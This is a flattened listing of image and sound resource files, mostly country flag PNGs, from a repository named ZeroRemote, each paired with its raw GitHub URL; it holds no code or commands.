--------------------------------------------------------------------------------
/Client/Client/Client/Resources/is.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/is.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/it.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/it.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/jm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/jm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/jo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/jo.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/jp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/jp.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ke.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ke.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/kg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kg.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/kh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kh.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ki.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ki.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/km.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/km.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/kn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/kp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kp.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/kr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/kw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kw.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ky.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ky.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/kz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/kz.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/la.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/la.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/lb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lb.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/lc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lc.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/li.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/li.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/lk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lk.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/lr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ls.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ls.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/lt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lt.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/lu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lu.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/lv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/lv.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ly.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ly.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ma.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ma.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mc.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/md.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/md.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/me.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/me.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mg.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mh.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mk.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ml.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ml.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mo.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mp.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mq.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mq.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ms.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ms.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mt.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mu.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mv.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mw.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mx.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mx.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/my.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/my.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/mz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/mz.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/na.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/na.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/nc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nc.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ne.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ne.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/nf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nf.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ng.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ng.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ni.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ni.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/nl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nl.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/no.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/no.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/np.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/np.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/nr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/nu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nu.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/nz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/nz.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/om.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/om.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pa.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pe.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pe.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pf.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pg.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ph.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ph.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pk.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pl.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ps.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ps.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pt.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/pw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/pw.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/py.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/py.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/qa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/qa.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/re.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/re.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ro.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ro.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/rs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/rs.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ru.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ru.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/rw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/rw.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sa.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sb.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sc.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sd.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/se.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/se.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sg.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sh.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sh.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/si.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/si.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sj.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sk.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sl.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/so.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/so.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/st.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/st.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sv.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sy.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/sz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/sz.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tc.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/td.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/td.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tf.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tg.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/th.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/th.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tj.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tj.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tk.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tk.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tl.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tl.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/to.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/to.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tr.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tt.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tv.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tv.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tw.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/tz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/tz.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ua.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ua.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ug.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ug.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/um.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/um.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/up.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/up.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/us.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/us.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/uy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/uy.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/uz.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/uz.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/va.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/va.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/vc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vc.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ve.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ve.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/vg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vg.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/vi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vi.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/vn.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vn.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/vu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/vu.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/wf.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/wf.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ws.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ws.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/ye.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/ye.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/yt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/yt.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/za.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/za.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/zm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/zm.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/zw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/zw.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/down.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/down.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/globe.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/globe.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/wait.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/wait.gif
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/wales.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/wales.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/default.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/default.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/england.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/england.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/notify.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/notify.wav
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/scotland.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/scotland.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/servers.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/servers.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/catalonia.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/ZeroRemote/HEAD/Client/Client/Client/Resources/catalonia.png
--------------------------------------------------------------------------------
/Client/Client/Client/Resources/exclamation.png:
--------------------------------------------------------------------------------
